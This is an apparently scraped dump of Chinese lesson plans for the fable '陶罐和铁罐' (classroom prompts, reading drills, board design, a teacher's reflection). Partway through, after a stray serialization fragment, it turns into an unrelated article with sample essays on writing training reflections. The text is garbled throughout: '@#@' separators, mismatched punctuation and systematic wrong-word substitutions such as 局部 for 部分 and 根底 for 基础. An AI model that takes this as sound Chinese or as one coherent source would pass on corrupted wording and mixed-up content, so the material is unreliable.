@#@铁罐傲慢地问――、铁罐轻蔑地说――、铁罐恼怒地说――,铁罐怒不可遏,说――〕@#@铁罐用这么刻的话来挖苦挖苦陶罐子,那他它凭什么奚落陶罐〔铁罐认为自己很坚硬,而陶罐很容易碎,它只看到自己的长处,所以看不起陶罐。
@#@〕师:
@#@真能干!
@#@铁罐认为自己很巩固〔板书:
@#@巩固〕,这是它的长处〔板书:
@#@长处〕,而陶罐很容易碎〔板书:
@#@易碎〕,这是它的短处〔板书:
@#@短处〕,它仗着自己的长处去奚落别的人短处。
@#@面对铁罐一次又一次的奚落,陶罐怎样对待的呢?
@#@@#@“不敢,铁罐兄弟。
@#@〞陶罐谦虚地答复。
@#@〔谦虚〕@#@“我确实不敢碰你,但并不是懦弱。
@#@〞陶罐争辩说,“我们生来就是盛东西的,并不是来互相碰撞的。
@#@说到盛东西,我不见得比你差,再说……〞@#@相机设问:
@#@你认为陶懦弱吗?
@#@为什么?
@#@从哪里知道的?
@#@抓“争辩〞——读句子,注意省略号的读法。
@#@@#@师评:
@#@我听出了这是一个不卑不亢的陶罐子;@#@这是一个谦虚但并不懦弱的陶罐子;@#@@#@这是一个对自己充满自信的陶罐子…..@#@“何必这样说呢?
@#@〞陶罐说,“我们还是和睦相处吧,有什么可吵的呢!
@#@〞陶罐不@#@再理会铁罐。
@#@〔这是一种无声的抗辩〕@#@你觉得陶罐怎么样?
@#@〔谦虚〕@#@4.确实如此,铁罐最大的特点就是傲慢无理,陶罐就是谦虚有礼,却不懦弱。
@#@@#@5.指导朗读。
@#@@#@哪个小组能够读出陶罐的?
@#@哪个小组愿意来读读铁罐的傲慢无礼?
@#@@#@6.同学们,作者通过描写陶罐和铁罐的对话、神态,写出了陶罐的谦虚有礼而不软弱和铁罐的傲慢无礼,下面我们男、女分角色朗读。
@#@@#@三、学习10——17自然段。
@#@@#@同学们,铁罐自恃坚硬,瞧不起陶罐,常常奚落陶罐,显得傲慢无理,陶罐面对铁罐的奚落,谦虚有礼,据理力争,不再理会铁罐。
@#@时间一天天流逝,世界上发生了许多事情,王朝覆灭,宫殿倒塌了,两个罐子被遗落在荒凉的场地上,上面覆盖了厚厚的尘土,许多年过去了。
@#@有一天......@#@1.谁愿意接下去将这个故事讲完?
@#@其他同学思考:
@#@陶罐和铁罐发生了什么变化?
@#@@#@2.指名反应。
@#@@#@3.陶罐去哪里了?
@#@@#@4.曾经的铁罐常常奚落陶罐,如今,发现铁罐不见了,陶罐是怎么做的?
@#@这让我们看到了一个〔关心、宽容、善良〕@#@四、拓展:
@#@@#@引导学生根据教师自制道具和喜爱演的角色上台演一演“陶罐和铁罐〞〔教师点拨表演时的语气、语调、表情、神态、动作等方面对人物特征的展示。
@#@〕@#@2.读了这个故事你一定有许多自己的感慨,@#@你想说点什么吗?
@#@@#@我想对铁罐说:
@#@〔〕@#@我想对陶罐说:
@#@〔〕@#@我想对自己说:
@#@〔〕@#@3.读了这那么童话,你收到了什么启发?
@#@〔每个人都有自己的长处和短处,要善于看到别人的长处,正视自己的短处,相互尊重,和睦相处。
@#@〕@#@板书设计:
@#@@#@27陶罐和铁罐@#@铁罐陶罐@#@坚硬易碎@#@易氧化不会氧化@#@傲慢无礼谦虚有礼,不软弱@#@〔每个人都有自己的长处和短处,@#@要善于看到别人的长处,@#@正视自己的短处,相互尊重,和睦相处〕@#@教后反思:
@#@@#@在教学《陶罐和铁罐》一课时,我本着语文课程标准要求,紧扣教材特点展开教学,设计以促进学生的自能学习、自主开展为宗旨,打破了以教师为中心的传统作法,鼓励学生选择适合自己的学习方式。
@#@通过“读、、议、演、想、〞的教学流程,表达“以情励学,以趣激学,调动参与,启迪创造,注重内化,求精求@#@活〞的教学特色,使学生真正成为课堂学习的主人。
@#@@#@首先我以游戏化的课堂为学生营造出快乐的学习环境,调动学生的学习兴趣,再以问题翻开学生思维、唤起想象的钥匙,让学生自主的发现问题,培养学生主动探究的精神。
@#@古人云“学起于思,思源于疑。
@#@〞学生有所疑问才去会进一步思考,才能有所发现,有所创造。
@#@例如,教师提出这样的问题:
@#@“文中的人物对话及生动的神态,动作的描写,给同学们留下了深刻的印象,特别是通过读、想、、大家也一定有自己的看法和观点吧!
@#@那么你们喜欢陶罐还是铁罐?
@#@〞这个问题看似简单,却意义深重,既启发了学生有价值的思维,又表达了语文教学的人文性。
@#@@#@“三分文章七分读〞,在这节课中,我设计了默读、对读、分角色读等多种朗读方式,把读的时间还给学生,使学生始终处于积极兴奋的读书状态。
@#@在读书的过程中,在学生熟读课文、感知形象的根底上指导学生深入思考、理解文章、悟出道理。
@#@同时,把这一过程作为学生、教师、文本之间对话的过程,让学生读后表达自己的认识、交流相互的感想,享受朗读的乐趣。
@#@@#@要想让学生做课堂的主人,让课堂焕发出生命的活力,教师要善于发现创新的苗头,点燃创新的火花,激发创新的潜能。
@#@如在教学过程中,当我发现没有学生喜欢铁罐时,便紧紧抓住这个“生成点〞,果断调整教学设计,提出:
@#@“陶罐就没有缺点吗?
@#@铁罐就没有优点吗?
@#@〞的问题,促使学生辨析感悟。
@#@话音未落,一名男生勇敢地站起来,郑重其事地说:
@#@“我就喜欢铁罐!
@#@〞全班同学哄堂大笑,指指点点,他犹豫了,而我马上向他投去了赞赏的目光,伸出了大拇指说:
@#@“我支持你!
@#@〞他自信地抬起了头,又郑重其事地解释自己喜欢铁罐的理由。
@#@听了他的发言,全班同学各个眉头紧锁,陷入了深深地沉思。
@#@不一会儿,大家不约而同地鼓起掌来。
@#@这名男生一语道破天机,而我的教学预设也正好恰到好处。
@#@在“另辟新径〞中收到了“异曲同工〞之效。
@#@由此可见,学生创新精神的培养根植于教师尊重学生的差异,鼓励学生求异,角度可以是多向的,理解可以是多维的,答案可以是多样的。
@#@@#@由于本课我设计了很多的教学环节,课堂时间有限,在教学实施过程中有的环节显得不到位,例如最重要的“读、议中感悟〞的“议〞,没有给学生更多的时间充分发表自己的见解,看着学生拿在手中的作品,我的内心非常冲动,我没有想到学生手中的画是如此的传神,可我却没有多给他们一点时间和空间,没能让他们尽情地参与教学活动的全过程,变被动为主动,充分展现自我,激活课堂教学气氛,体验成功。
@#@〔这是课后学生告诉我他们还想说自己的见解,同时在教学过程中我也体会到了。
@#@〕@#@篇二:
@#@人教版三年级上册陶罐和铁罐教学设计@#@人教版三年级上册《陶罐和铁罐》第1课时教学设计@#@秀城实验教育集团钧儒小学欧阳雪茹@#@课文简介:
@#@@#@《陶罐和铁罐》是人教版第五册的的课文,故事讲的是国王御厨里的铁罐自恃坚硬,瞧不起陶罐。
@#@埋在土里许多年以后,陶罐出土成为文物,铁罐却化为泥土,不复存在。
@#@故事告诉我们,每个人都有长处和短处,要善于看到别人的长处,正视自己的短处,相互尊重,和睦相处。
@#@@#@第一课时教学目标:
@#@@#@1、读通课文,认识“陶、懦〞等几个生字,会写“陶、谦〞等6个生字。
@#@了解课文大意。
@#@@#@2、学习课文1—9自然段,体会铁罐的骄傲无理和陶罐的谦虚克制。
@#@@#@3、能流利、有感情地朗读课文2-9自然段,学会从不同的语言体会不同角色的人物情感,知道不能用自己的长处和别人的短处去比。
@#@@#@教学重点:
@#@@#@指导朗读,通过陶罐和铁罐的对话、神态描写,了解铁罐的傲慢无理和陶罐的谦虚而不软弱。
@#@@#@教学难点:
@#@@#@有感情朗读课文2-9节,理解课文讲的道理,不能用自己的长处去和别人的短处比。
@#@教学过程:
@#@@#@一、揭题@#@1、师:
@#@同学们,今天我们一起学习一个非常有意思的童话故事,故事有2个主人公,一个叫“陶罐〞,另外一个叫“铁罐〞,请同学们拿出手来跟老师一起写一写,陶字是要求我们会写的生字。
@#@〔板书:
@#@陶罐和铁罐。
@#@边写边讲解:
@#@陶字左边是个软耳刀,写得比拟窄;@#@右边笔画多,写的较宽些。
@#@〕@#@2、读题,@#@师:
@#@我们一起来把课题读一遍。
@#@〔齐读课题〕@#@3、质疑:
@#@读了课题,你最想知道些什么呀?
@#@〔指名说〕@#@师:
@#@看来你们都急迫地想知道陶罐和铁罐之间到底发生了一个什么故事呢?
@#@下面让我们去读读课文。
@#@在读课文的时候,老师相信你们能做到:
@#@@#@出示PPT:
@#@@#@我能做到:
@#@@#@1、努力把生字词读正确,努力把课文读通读顺。
@#@@#@2、标出自然段@#@3、读完以后想想,课文讲了一个什么故事?
@#@并能用这个句式试着说一说:
@#@@#@这个故事讲了许多年以前,许多年过去了,陶罐,铁罐。
@#@@#@二、初读课文,学习生字词,整体感知@#@1、生自由读课文,过程中指导已经读完的同学把难读的词语句子多读几遍,后出示生字、新词。
@#@@#@师:
@#@刚有很多同学读完一遍课文后能继续把难读的词语句子多读几遍,这样的读书习惯很好。
@#@下面请看看大屏幕,这些生字词语你会读吗?
@#@@#@2、学习生字、新词。
@#@〔1〕、出示带拼音的词语:
@#@陶罐奚落懦弱谦虚争辩恼怒羞耻流逝宫殿掘开朴素和睦相处相提并论@#@〔2〕、去掉拼音开火车读,齐读,提示“和睦相处〞是多音字。
@#@@#@〔3〕小老师带读,正音,齐读。
@#@@#@〔生自由准备——指名5、6组的三号小老师领读——生齐读2遍〕,其中“和睦相处〞学生读的正确时也点一下是“多音字〞。
@#@@#@3、生字词语都认识了,那你能说说课文主要讲了一个什么故事呢?
@#@@#@出示:
@#@这个故事讲了许多年以前,许多年过去了,陶罐,铁罐。
@#@@#@〔先跟小组内的同学讲讲〕——指名说8、9组的2号说,追问,铁罐哪里去了?
@#@***补充小资料袋:
@#@关于铁罐氧化作用的科学道理。
@#@@#@4、整体感知@#@师追问:
@#@初读课文你就能讲出这个故事的主要内容很了不起,那故事中的2个主人公到底给你留下了怎样的印象?
@#@@#@〔铁罐的骄傲和陶罐的谦虚、平和〕如果一个讲到铁罐,让另外一个人讲陶罐。
@#@@#@师:
@#@其他同学是不是也跟他们有同样的感受呢?
@#@〔是〕那你们是从哪里感受到铁罐的骄傲和陶罐的谦虚呢?
@#@让我们先仔仔细细地读读1-9自然段,读完以后把你感受很深的地方划下来,划下来后再好好读读,体会体会。
@#@@#@〔师巡视后〕@#@〔过渡〕师:
@#@小朋友们自学的真认真,老师看见很多小组都有了自己的发现和体会。
@#@我们先不着急讲,比比谁能把心中体会到的用朗读表达出来。
@#@@#@三、学习课文2——9自然段@#@1、抓住人物“神态语气〞体会,以读代讲,以读促讲@#@师:
@#@首先我们来看这局部对话。
@#@@#@PPT出示第一局部对话:
@#@@#@“你敢碰我吗?
@#@陶罐子!
@#@〞铁罐傲慢地问@#@“不敢,铁罐兄弟。
@#@〞陶罐谦虚地答复。
@#@@#@“我就知道你不敢,懦弱的东西!
@#@〞铁罐说,带着更加轻蔑的神气。
@#@@#@“我确实不敢碰你,但这并不是懦弱。
@#@〞陶罐争辩说,“我们生来就是盛东西的,不是来互相碰撞的。
@#@说到盛东西,我不见得比你差。
@#@再说?
@#@?
@#@〞@#@“住嘴!
@#@〞铁罐恼怒了,“你怎么敢和我相提并论!
@#@你等着吧,要不了几天,你就会变成碎片,我却永远在这里,什么也不怕。
@#@〞@#@第一次练读〔直接读对话〕@#@〔1〕小组内同学1、3选铁罐,2、4选陶罐角色,自由练习该怎么读。
@#@@#@〔2〕指名分角色读@#@师:
@#@谁愿意来读“铁罐〞?
@#@谁愿意来读“陶罐〞?
@#@其他同学仔细听,做做小老师一会来评评他们读的怎么样?
@#@〔哪一组的1号和哪一组的2号,另一组的3号和另一组的4号读〕@#@〔3〕评价@#@师:
@#@你们先别急着坐下,听听同学们对你们的评价。
@#@〔其他同学评〕@#@**〔如果读的好的,那就追问读的同学〕@#@师:
@#@老师也和同学有同样的感受,你读的太好了。
@#@刚刚我看到你一脸瞧不起他的样子,说说你为什么要这样读啊?
@#@〔学生答复后教师过渡到“神态〞〕@#@**〔如果读的不好的,那就追问评价的同学〕@#@师:
@#@那你认为应该怎样读?
@#@〔学生答复后教师也过渡到“神态〞〕@#@〔转向读的同学〕师:
@#@如果在朗读时,能注意到角色的神态和语气,会读的更好。
@#@@#@〔4〕找神态体会@#@师:
@#@那铁罐和陶罐在说话时的神态和语气到底是怎么样的呢?
@#@请你马上默读一下这些对话,在书上把他们说话时描写神态语气的词语,就是他们怎么说的圈出来,想想你体会到了什么?
@#@@#@〔交流〕师:
@#@你们找到了哪些词呢?
@#@在4人小组交流下。
@#@@#@师:
@#@首先来看陶罐,他说话时的神态语气是怎样的呀?
@#@〔谦虚〕是啊,你看看陶罐说的这句话,你从哪里能感受到他很谦虚?
@#@〔称呼上〕是啊,再看看铁罐对他的称呼呢?
@#@〔真是太骄傲了,没礼貌〕所以这里铁罐说话时的神态是“傲慢〞,谁来读读这两句对话?
@#@〔指名2人读〕你还找到了铁罐说话时的哪些神态和语气?
@#@〔更加轻蔑〕轻蔑是怎样的,你能来做个动作吗?
@#@〔学生做表情动作〕你们看到他刚怎样做的?
@#@〔眼睛眯起来,抬起来,下巴还往上翘〕好,谁来用更加轻蔑的神气读读铁罐说的这句话?
@#@〔指名几个同学读句子〕还有吗?
@#@〔恼怒〕恼怒就是说他〔很生气了,越来越骄傲〕铁罐为什么会越来越生气呢?
@#@〔因为陶罐在争辩〕陶罐要争辩些什么?
@#@〔他不是懦弱?
@#@?
@#@〕这个省略号表示什么?
@#@〔陶罐还想继续说下去〕会说些什么呢?
@#@〔自己读读,想想——指名说〕但是铁罐容许他争辩吗?
@#@〔不〕哪里看出来的?
@#@〔铁罐打断他说的话〕所以这里朗读的时候要注意,读的快一点,硬一点。
@#@〔指名2人来读这两句对话〕读了对话,奚落这个词语意思知道了吗?
@#@〔用很尖刻、很难听的话,去嘲笑、挖苦别人〕相提并论呢?
@#@〔两样东西好坏差不多,可以放在一起比拟〕@#@师:
@#@有了这样的理解和体会,相信你们能读的更好。
@#@@#@第2次推荐读〔直接读对话〕@#@〔1〕再小组内分角色练读,要读出铁罐和陶罐不同的神态和语气,你还可以加上一些眼神和动作。
@#@@#@〔2〕推荐分角色读@#@师:
@#@同学们来推荐一位同学读铁罐,一位同学读陶罐。
@#@到台上来读,表演读,其他同学同样要听仔细,一会来点评。
@#@@#@〔3〕评价〔估计读的好〕如果读的不好,老师范读@#@师:
@#@你们读的真不错,真是活灵活现的陶罐和铁罐。
@#@是啊,只要抓住人物的不同神态和语气,会让我们的体会更加深刻,如果再加上点眼神动作,会让我们的朗读更绘声绘色!
@#@@#@第3次展示读〔直接读对话〕@#@师:
@#@下面1、3、5、7组做铁罐,2、4、6、8组做陶罐,分角色来读这局部对话。
@#@@#@2、想象神态朗读@#@出示余下的对话:
@#@@#@“何必这样说呢?
@#@〞陶罐说,“我们还是和睦相处吧,有什么可吵的呢!
@#@〞@#@“和你在一起,我感到羞耻,你算什么东西!
@#@〞铁罐说,“走着瞧吧,总有一天,我要把你碰成碎片!
@#@〞@#@陶罐不再理会铁罐。
@#@@#@〔1〕师:
@#@这局部对话又该怎么读呢?
@#@但是这里并没有写出陶罐和铁罐的神态,你能不能想象一下陶罐和铁罐当时说话的神态吗?
@#@@#@出示:
@#@“陶罐〔〕地说〞〔心平气和、温和、平静、好言好语等〕@#@“铁罐〔〕地说〞〔歇斯底里、怒不可遏、暴跳如雷等〕@#@在书本上写写,读读@#@〔2〕指名2名同学分别说说铁罐和陶罐的神态,说好后读一读。
@#@@#@〔3〕同桌两人,也分别加上神态,再来练习一遍。
@#@@#@3、全部对话练读@#@师:
@#@现在我们把所有的对话连起来读一读。
@#@只要读对话局部,你想读陶罐的读陶罐,想读铁罐的读铁罐,如果都想读的,那就都读吧。
@#@〔全班练读〕@#@4、整体感悟@#@师:
@#@刚刚大家从铁罐和陶罐的对话中读懂并体会了铁罐的骄傲和陶罐的谦虚平和,下面请大家再默读这些对话,想想想你又能发现些什么?
@#@你是否又明白了什么呢?
@#@@#@***读后自由思考——四人小组交流——师巡视,确定先说内容方面的同学先答@#@篇三:
@#@语文教学设计《陶罐和铁罐》(人教版三年级教学设计)@#@教学目标@#@知识与技能:
@#@会认10个生字,会写14个生字,能正确读写骄傲、傲慢、谦虚等词语。
@#@能分角色有感情地朗读课文。
@#@@#@过程与方法:
@#@能积累描写表现陶罐、铁罐神态和动作的词句,积累语言。
@#@@#@态度与价值观:
@#@读懂课文内容,学习正确看待人和事物的方法。
@#@@#@教学重难点@#@本课的教学重点是通过陶罐和铁罐的对话、神态的描写,了解铁罐的傲慢无礼和陶罐的谦虚而不软弱;@#@本课教学难点是课文所讲的道理。
@#@@#@教学过程@#@一、激趣导入@#@师:
@#@同学们,老师知道大家都做了提前预习,那你们能认出这两只罐子吗?
@#@说说谁是陶罐谁是铁罐?
@#@〔随着学生的答复老师画出陶罐和铁罐〕@#@师:
@#@在现实生活中这两只罐子各有什么特点呢?
@#@@#@生:
@#@陶罐易碎,铁罐坚硬,教师随机在两个罐子里板书。
@#@@#@师:
@#@这两个小罐子的性格差距可大了,一个傲慢无理,一个谦虚礼让,今天就让我们一起来学习27课《陶罐和铁罐》。
@#@齐读课题。
@#@@#@二、初步感知课文@#@师:
@#@请同学们翻开书自由读课文,要读准字音,一会老师要检查生字认读的情况。
@#@@#@师:
@#@读好了吗?
@#@老师看到同学们读得非常认真,现在请同学们来认读老师所出示的生字,词。
@#@@#@师:
@#@同学们认读得非常好,看来生字是难不倒我们大家的,请同学们再来默读课文,把陶罐和铁罐的话用自己喜欢的符号画出来好吗?
@#@老师看谁的动作快,开始了。
@#@@#@三、品读课文@#@师:
@#@画好了吗?
@#@老师看到同学们边读边画,做得很认真。
@#@现在请同学们用自己喜欢的方式读读对话,想想你读懂了什么?
@#@还想知道什么?
@#@@#@师:
@#@读完了吗?
@#@哪位同学告诉大家你读了对话都读懂了什么?
@#@@#@生:
@#@不要骄傲,要学习陶罐一样谦虚@#@师:
@#@好了,同学们知道了骄傲的铁罐看不起陶罐,经常奚落它。
@#@@#@师:
@#@哪位同学能结合上下文,谈一谈你对奚落这个词的理解,奚落是什么意思呢?
@#@@#@生:
@#@瞧不起,嘲笑@#@师:
@#@我们理解了这个词,通过读对话,你还想知道什么呢?
@#@同桌先相互说说还想知道什么?
@#@@#@生:
@#@为什么铁罐那么骄傲@#@师:
@#@老师听了同学们的问题,知道同学们对这几个问题比拟感兴趣。
@#@@#@铁罐为什么要奚落陶罐?
@#@@#@铁罐是怎么奚落陶罐的?
@#@@#@这个寓言故事告诉我们一个什么道理?
@#@@#@师:
@#@那我们就来逐个解决以上的问题。
@#@@#@汇报:
@#@@#@1铁罐为什么要奚落陶罐?
@#@@#@2铁罐是怎么奚落陶罐的?
@#@陶罐对铁罐说了哪几句话?
@#@说这句话时是用什么语气的?
@#@谁来用这样的语气来读读。
@#@@#@3铁罐奚落陶罐还有哪句呢?
@#@这时候又是什么态度呢?
@#@哪位同学带着轻蔑的样子来读读。
@#@老师也想来读读,你们来给老师做旁白好吗?
@#@师范读@#@4再找找看还有哪些是描写铁罐奚落陶罐的?
@#@铁罐从开始的傲慢到轻蔑再到恼怒,谁再来读读铁罐恼怒的句子。
@#@@#@5铁罐一心想把陶罐碰碎已经到了狂妄自大的地步,找一找描写铁罐狂妄自大的语句,谁来模仿狂妄自大的语气来读读。
@#@@#@6我们对陶罐和铁罐的性格有所了解,那么陶罐的态度又如何呢?
@#@学习前面的学习方法,抓住重点语句来读一读好吗?
@#@@#@7找到了吗?
@#@谁愿意来告诉大家。
@#@生答。
@#@这一句能表达陶罐的什么态度呢?
@#@@#@8我确实不敢碰你和我不敢碰你哪一句好呢?
@#@加上确实更能显出自己的态度。
@#@@#@9你认为陶罐懦弱吗?
@#@哪个词能证明它不懦弱。
@#@〔争辩〕现在请同桌互读对话,老师想请同学到台上来读。
@#@然后大家来给评评读得怎么样?
@#@@#@10这两只罐子的结果如何能,快来读读课文的最后一局部?
@#@@#@11他们最终如何呢?
@#@@#@四、总结@#@1、现在我们来回忆一下课文,课文究竟发生了什么事?
@#@@#@2、我们从中明白了什么道理呢?
@#@@#@3、人与人之间要懂得互相尊重,互相谦让,学会全面看问题。
@#@@#@五、作业@#@同学们联系课文,尝试着自己来编一那么寓言故事。
@#@@#@";i:
3;s:
29811:
"培训心得体会怎么写20篇@#@培训心得体会怎么写【20篇】@#@【导语】员工培训的直接目的就是要发展员工的职业能力,使其更好地胜任现在的日常工作及未来的工作任务。
@#@那么,培训心得体会怎么写?
@#@下面为大家分享了培训心得体会怎么写【20篇】,希望对您有所帮助。
@#@@#@培训心得体会怎么写@#@ 答:
@#@@#@ 一、开篇点名此次培训的意义和你的认识@#@ 对于培训心得,开篇一定要有一个小小的认识和一个意义的升华,明确此次培训的目的和意义能够让你的主题更加明确,也让别人可以一目了然。
@#@@#@ 二、对培训的某一点具体内容展开谈@#@ 培训的内容,你要找出某几点,放在你的心得里,并且把具体的培训内容展开来谈,用你自己的角度去说,去写。
@#@@#@ 三、通过几个方面来思考:
@#@@#@ 通过你个人的言行举止,学习的重要意义,以及学习培训对你能有哪些帮助这些方面同时入手,层层深入的来分析,来写。
@#@@#@ 四、对于自己今后工作的指导意义@#@ 贯穿全篇,要表达出此次培训内容对于你在工作方面的指导意义,能够对你今后的工作做出指导,在哪些方面能够更好的开展,把这些内容加入其中,能够更好的丰富你的心得内容。
@#@@#@ 五、对未来的憧憬@#@ 我们通过培训和学习,都是为了指导我们以后的工作,所以最后应该根据学习的内容进行一下拓展,比如说对未来的憧憬等等这一方面的问题。
@#@@#@培训心得体会写作注意事项@#@ 一、确定培训内容@#@ 学习心得当然要围绕培训的内容写,根据培训的主要内容,来进行下面的心得的大纲的拟定。
@#@@#@ 二、明确培训的具体课程@#@ 学习培训有的是分阶段的,有的是为时一个星期左右的,那么每一天具体都讲的什么内容,你要有一个安排,并且了解这么多天培训的最终核心和内容,这样可以让我们更好的入手。
@#@@#@ 三、着重强调一点@#@ 不管你们学习的内容有多么丰富,你一定要主要抓住一点,来作为你此次培训心得的核心内容,这样通过这一点来展开来谈,我们可以很好的开展。
@#@@#@培训心得体会20篇@#@ 【篇一】@#@ 为期八天的新员工职前培训转眼间就结束了,在这充实的八天培训中,我体会到了校园与社会的不同,感受到了公司的“温度”,认识了一群优秀可爱的同事,收获颇多。
@#@@#@ 培训首日,总院领导们切身感悟与建议令我颇受启发,让我对于未来的职业规划有了更深一层次的思考。
@#@此外,各管理部门的课程讲座让初入职场的我更加明白了总院的结构组成与部门的职能分工。
@#@@#@ 在东方绿舟,我与小组的成员度过了紧张刺激又充满欢声笑语的两天。
@#@在最后的小组项目设计中,尽管工作内容对我而言是相对陌生的,我也积极参与其中,虽然会遇到挫折与困难,但组员间的互相帮助、集思广益化解了难题,让项目设计圆满完成。
@#@@#@ 在这八天的培训中我收获了很多,同时也认识到了自己的不足。
@#@身边有许多优秀的人值得去学习,在专业领域还需不断的充实自己、开拓视野,自己还有很大的空间去发展,去努力变优秀。
@#@很幸运能在上海建工设计总院这个一流的综合平台上开始第一份工作,也希望今后的自己能多看、多听、多学,快速成长,将工作做好,为公司的发展贡献自己的一份力。
@#@@#@ 【篇二】@#@ 本人参加了在上海市政法学院举办的20xx年宣城市人民调解员示范研修班暨第十三期司法所长培训班,现将此次培训心得赘述如下:
@#@@#@ 本次培训规格之高、专业性之强是本人参加司法工作十余年来仅见,授课老师不是国内知名专家学者就是在政法干线上奋斗多年的老领导老前辈,虽然时间满打满算仅有5天,但真正让全体学员都实实在在的感觉受益匪浅。
@#@@#@ 首先,看到了差距。
@#@真真切切的感觉到了自己与先进的人民调解理念和水平的差距是全方位的,且勿论发达国家的ADR,即使与国内南京上海这些同行相比,无论是理论还是实际操作水准都存在较大的差距。
@#@如在与当事人相处中倾听层次较低,很少能达到“同理心”的标准;@#@在调解中对告知这一程序做的非常不足等等。
@#@@#@ 其次,看到了前进的方向。
@#@在人民调解工作日趋重要的今天,作为一名合格的调解者需要什么样的素质?
@#@这次的培训给我指明了方向:
@#@一是要掌握全面的法律知识,做到一切调解都能以法律为基础;@#@二是要熟练掌握入门的心理学技能,并将其运用到人民调解中去;@#@三是要兼备职业素养与工作热忱,当好中间人,如实的引导当事人阐述真实诉求,达成真实意愿下的妥协,不偏不倚,不把个人好恶带到工作中去。
@#@@#@ 最后,本次培训让我看到人民调解工作的希望。
@#@无论是上级部门对本次人民调解培训工作的巨大投入,还是人民调解专业学生们尽管稚嫩却充满热情的情景剧表演,都充分体现了人民调解工作正在日趋专业化、国际化的事实,坚定了我们对于人民调解工作具有远大未来的信念。
@#@@#@ 【篇三】@#@ 两天的培训是公司给我们提供学习的机会,能够拥有这样的经历无论对我的现在还是将来都是受益匪浅的,感觉自己很幸运,非常感谢各位领导对我的信任。
@#@通过这次培训我认识到沟通技巧和团队的建设与管理对于领班在工作中的重要性。
@#@以下是我在这次培训中的几点的几点心得:
@#@@#@ 一、沟通技巧的重要性和如何有效的沟通方法。
@#@@#@ 以前总以为沟通就是把自己想表达的说出来就可以了,但通过这次培训让我意识到不仅仅是这样的。
@#@一次完美的沟通是要让对方完全听清、明白、理解和接受你所要表达的意思,那才算是成功的。
@#@@#@ 二、如何正确运用批评和赞美的技巧。
@#@@#@ 有人说过赞美如阳光、批评如雨露,二者缺一不可,这是很有哲理的。
@#@我们在与同事、顾客的沟通中既需要真诚的赞美,也需要中肯的批评,赞美能使他人满足自我的需求,同样,中肯的批评也由赞美开始的,给人以道理和原则让对方产生信任与信心。
@#@@#@ 三、团队建设与管理在一个店铺乃至整个公司的成长都起着重要的作用。
@#@@#@ 团队不仅仅是一起工作的一群人,它是由拥有互补的技能、相同的目标、敢承担责任的人组成的规模组织。
@#@良好团队的形成需要很漫长的一个时期,它的管理与维护也是要经历过坎坷道路的。
@#@它拥有强大的凝聚力,会创造出一个和谐、友善的工作环境,深化每个成员的内心,带动店铺乃至整个公司的前进发展。
@#@一个团队失去凝聚力和目标就会使整个团队涣散,甚至散失整个团队。
@#@所以,如何凝聚团队的力量就需要团队领导人做好对明确目标的树立和端正好每个成员的心态,那样才能带领出一支强大的队伍。
@#@@#@ 最后,我会将这次培训所学的知识运用到今后的工作中去,更好的发挥自己在团队中的作用,协助店长带领我们的团队做出佳绩。
@#@@#@ 【篇四】@#@ “到此觉醒”是本次培训学习到的关键词,会干会写会说是本次培训的一个感触。
@#@从这次培训中,可以深刻的感受到,作为房地产公司的一分子,务需从全方位立体式的完善自己。
@#@@#@ 1、到此觉醒,提升自身沟通能力@#@ 沟通,从心开始。
@#@沟通无处不在,是双向互动的。
@#@团队凝练不单单是在一块工作,做到心灵的衔接,能发挥更大的爆发力。
@#@企业在经营管理和日常事务中,由于人与人之间、部门与部门之间缺乏沟通和交流,常常会遇到一些磨擦、矛盾,这将影响到公司的氛围,使企业难以形成凝聚力,内耗严重,甚至导致企业死亡。
@#@有团队,就要沟通,唯有沟通才能减轻磨擦、化解矛盾,发挥团队和管理的效能。
@#@沟通是文化的交流,是情感的共鸣,在价值取向多元化和性格气质个性化的今天,沟通更需要科学的技巧和正确的方法。
@#@用正确的方法做正确的事,事半功倍;@#@用正确的方法做不正确的事,事半祸倍。
@#@@#@ 2、到此觉醒,提升自身语言表达能力@#@ 会说是工程专业人士的后天缺陷,这需要工程人员跳出思维模式,放眼世界。
@#@语言表达能力是现代人才必备的基本素质之一。
@#@在现代社会,由于经济的迅猛发展,人们之间的交往日益频繁,语言表达能力的重要性也日益增强,好口才越来越被认为是现代人所应具有的必备能力。
@#@作为现代人,我们不仅要有新的思想和见解,还要在别人面前很好地表达出来;@#@不仅要用自己的行为对社会做贡献,还要用自己的语言去感染、说服别人。
@#@@#@ 3、到此觉醒,提升实践能力@#@ 过多的理论如果得不到实践的检验,终究经不起推敲和考验。
@#@到大江大海中去,到大风大浪中去。
@#@如果一味的畏缩不前,顾虑重重,就始终是空谈。
@#@理论结合实践,在实践中检验理论,总结理论,通过理论提升实践的前瞻性、高度性。
@#@@#@ 4、到此觉醒,提升自己在公司的筹码@#@ 从在自身岗位做起,做到精致。
@#@以点带动面,从一个岗位作为破发点。
@#@提高能力素质,完成领导交付的工作任务、具备从事某种活动所必备的本领,能力表现在所从事的各种活动和工作中,并在活动中得到发展。
@#@当一个人能顺利完成某种活动或工作时,也就表现出了相干的能力。
@#@提升专业技能,掌握一定的专业技术知识,并运用这些知识去解决领导实践中遇到的专业技术难题的一种能力。
@#@增加工作经验,这是在工作中不断探索、总结、积累起来的,如何在工作中积累相关的经验,熟悉自己所从事的业务流程的运做,能否以最快的速度投入到工作中去,并带来新的思路和方法,也是职场人士需要不断去做的课题。
@#@@#@ 【篇五】@#@ 在综管部组织的为期一个月的行政助理能力培训中,通过理论与部门实际工作相结合的学习方法,我对行政助理的工作性质和工作内容有了进一步深刻的认识。
@#@同时,我从沟通的角度对如何提高部门行政效率的问题进行了初步的思考。
@#@从工作性质来看,我理解的行政助理工作属于文秘工作范畴。
@#@从工作内容来看,它是一个聚集部门行政工作、部分人事考核与部门后勤工作于一体的复合型工作。
@#@这一岗位对在岗人员工作能力的要求由工作性质与其工作内容决定。
@#@通俗的说,行政助理工作繁杂无序,大到协助部门人事考核、各类会议安排、相关文件起草,小到部门资产管理、后勤杂事,工作中需要协调合作的人形形色色,因此要做好行政助理工作提高部门行政效率,不仅需要行政人员一丝不苟、兢兢业业的工作品质,更需要在岗人员有良好的沟通能力和沟通技巧。
@#@@#@ 在行政助理工作中,沟通无所不在。
@#@所谓沟通,是指为了一个设定的目标,把信息、思想和情感在个人或群体间传递,并且达成共同协议的过程。
@#@从某种意义上来说,沟通不但是一种生存的方式,更是一种职业技能。
@#@要想干好行政助理这项工作,除了需要具备基本的专业知识和技能之外,更重要的是要做好沟通工作,不但能沟通,还要会沟通。
@#@@#@ 要做好沟通工作,首先必须明确沟通的对象。
@#@总的来说,行政助理工作的沟通对象分为领导、同事以及与工作内容相关的外部人员。
